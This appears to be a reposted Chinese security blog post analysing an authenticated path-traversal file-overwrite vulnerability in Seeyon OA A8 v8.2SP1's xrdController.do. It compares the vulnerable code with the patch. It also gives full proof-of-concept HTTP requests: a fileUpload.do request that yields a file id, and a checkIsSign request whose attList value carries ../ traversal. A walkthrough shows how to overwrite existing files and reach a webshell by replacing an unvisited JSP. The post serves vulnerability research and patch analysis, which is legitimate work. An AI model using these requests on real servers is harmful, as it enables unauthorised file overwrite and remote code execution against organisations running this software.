文章总结: 致远OAA8-v8.2SP1xrdController.do存在需登录的文件复制漏洞:未对attList参数filename做目录穿越过滤,可结合fileUpload.do上传拿到fileid后,通过构造attList=fileid$../../路径实现任意文件覆盖;补丁用getCanonicalPath+getName限制穿越。利用需知Web绝对路径且只能覆盖已存在文件,空文件会因先建同名目录失败,覆盖冷门jsp可GetShell。给出完整POC与补丁对比,强调禁止非法攻击。 综合评分: 88 文章分类: 漏洞分析,WEB安全,漏洞POC,安全大事件
致远oa-xrdController.do后台-文件复制漏洞分析
原创
Charming
安全白白
2026年1月5日 07:00 北京
Charming@深信服北京天雄战队
1.漏洞补丁(复现漏洞需要登录)
官网补丁
https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=135
2.复现环境
某远A8-v8.2SP1
3.漏洞复现
1.查看补丁
存在漏洞的Controller为xrdController首先看看补丁与漏洞代码有何不同 重点关注 checkIsSign 方法中的 fileName 参数 在有漏洞的版本之中直接通过接收 http的参数来拼接路径 (所以这个时候我们通过传入 ../../ 就能达到目录穿越的效果) 然而在补丁之中则是通过
fileName = (new File(Strings.getCanonicalPath(fileName))).getName(); 来获取 fileName 从而限制传参达到过滤的效果
2.漏洞分析
由下述代码可以得知 http 需要接受 两个参数 一个是 summaryId 另外一个参数则是 attList ( attList fildData[0] 则是我们需要传入的 fileid , fildData[1]则是我们传入的 filename 通过 $ 符号分割)
接着我们来看一下 创建文件夹 与 创建文件的 两个方法 createDir 与 decrypt 可以看到都是很耿直的方法没有经过任何过滤。
getFile 传入的就是fileid
路由
构造传参
/seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={fildData[0]}${fildData[1]}
所以这个时候理论上我们只需要再上传一个文件拿到fileid即可 这里我们采用 fileUpload.do 的 processUpload 方法上传 回包记录 fileid
POST /seeyon/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP/1.1
Host: 192.168.81.194
Content-Length: 90864
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Cookie: ts=1766462699840; JSESSIONID=E5CB2A0A1BF9E7A62DB54D6C3D370EC4; login_locale=zh_CN; loginPageURL=; JSESSIONID=38C9327EC1D5739CE5D0F6B2D4FF5C93; avatarImageUrl=-3517823550927912401
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD4liNoBEBG7u06fv
Content-Disposition: form-data; name="upload"; filename="333.txt"
Content-Type: text/plain
123123
------WebKitFormBoundaryD4liNoBEBG7u06fv--
3.构造POC
这个时候就可以开始构造最终POC 这里是有一点小鸡肋的 我们得知道 web的绝对路径 才可以写入web目录
// 下面例子 路径是虚构的路径 用来讲解使用
原因就是这两行代码导致目录穿越 任意文件写入相对路径有问题
1.String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;
2.CtpLocalFile output = new CtpLocalFile(copyPath + File.separator + fileName);
一.任意文件写入
1.当我们输入 /../../../Apa/web1/see/test 的时候 (非正常情况)
output = /see/ba/temp/xr/../../../Apa/web1/see/test/../../../Apa/web1/see/test
---> 文件名 /see/Apa/Apa/web1/see/test
2.当我们输入 /../../../Apa/web1/test 的时候 (正常情况)
output = /see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test
---> 文件名 /see/Apa/web1/test
由上可知目录穿越受到了限制 永远会多出来一个 Apa 所以无法直接写入到tomcat的Web目录 最多只能回3级目录 也就是 任意文件写入到 web1 之中
二.绕过思路 (文件覆盖)
文件覆盖 文件指定写入到一个存在的文件之中 那么这个时候 创建的文件夹和文件名 是一样的 他就不会创建文件夹 文件就可以写入
如果是一个空的文件 那么 他会先生成文件夹 然后再生成文件名 这个时候就会出现bug 导致文件写入不了 这就是为什么采用了绝对路径 当目录足够多时也有限制的原因 不能实现任意文件写入
比如输入 /../../../../../see/Apa/web1/see/test
output=
/see/ba/temp/xr/../../../../../see/Apa/Apa/web1/see/test/../../../../../see/Apa/web1/see/test
---> 创建的文件 /see/Apa/web1/see/test
创建的文件夹也是 /see/Apa/web1/see/test
所以想写入web目录只能是写入已有的文件之中
最终POC(需要登录)
GET /seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={1}${2} HTTP/1.1
Host: 192.168.81.194
RequestType: AJAX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://192.168.81.194/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ts=1766462699840; JSESSIONID=E5CB2A0A1BF9E7A62DB54D6C3D370EC4; login_locale=zh_CN; loginPageURL=; JSESSIONID=38C9327EC1D5739CE5D0F6B2D4FF5C93; avatarImageUrl=-3517823550927912401
Connection: close
成功写入内容
特殊情况下的RCE 需要找一个 web目录之中没有人访问过的jsp文件 实现文件覆盖 再访问这个jsp 文件才可以生效 原因应该是 某远的web目录没有实现热加载 访问过的jsp文件有缓存 中途修改jsp文件的内容不会加载
getshell
内容仅供参考学习禁止违规攻击!!!!
本文首发先知社区:https://xz.aliyun.com/news/90931
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全白白 Charming《致远oa-xrdController.do后台-文件复制漏洞分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论